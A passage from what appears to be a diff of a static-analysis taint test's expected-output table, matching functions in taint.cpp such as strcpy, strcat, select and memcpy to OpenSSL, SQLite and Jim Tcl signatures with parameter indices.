*,const void *,int) | | sqlite3_result_error16 | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3expert *,int,int) | | sqlite3_expert_report | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 1 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 1 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| taint.cpp:142:5:142:10 | select | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned int,int,int) | | ossl_blob_length | 1 | +| taint.cpp:142:5:142:10 | select | (unsigned int,int,int) | | ossl_blob_length | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| taint.cpp:142:5:142:10 | select | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ASN1_tag2str | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | Jim_SignalId | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | PKCS12_init | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | Symbol_Nth | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_tolower | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_toupper | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | sqlite3_errstr | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | tls13_alert_code | 0 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:156:7:156:12 | strcpy | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:156:7:156:12 | strcpy | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:156:7:156:12 | strcpy | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:156:7:156:12 | strcpy | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:156:7:156:12 | strcpy | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:156:7:156:12 | strcpy | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:156:7:156:12 | strcpy | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:156:7:156:12 | strcpy | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:156:7:156:12 | strcpy | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:157:7:157:12 | strcat | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:157:7:157:12 | strcat | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:157:7:157:12 | strcat | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:157:7:157:12 | strcat | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:157:7:157:12 | strcat | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:157:7:157:12 | strcat | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:157:7:157:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:157:7:157:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:157:7:157:12 | strcat | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:157:7:157:12 | strcat | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:157:7:157:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:157:7:157:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:157:7:157:12 | strcat | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:157:7:157:12 | strcat | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:157:7:157:12 | strcat | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:157:7:157:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:157:7:157:12 | strcat | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:157:7:157:12 | strcat | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:157:7:157:12 | strcat | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:157:7:157:12 | strcat | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:157:7:157:12 | strcat | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:157:7:157:12 | strcat | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 1 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_STRING *,void 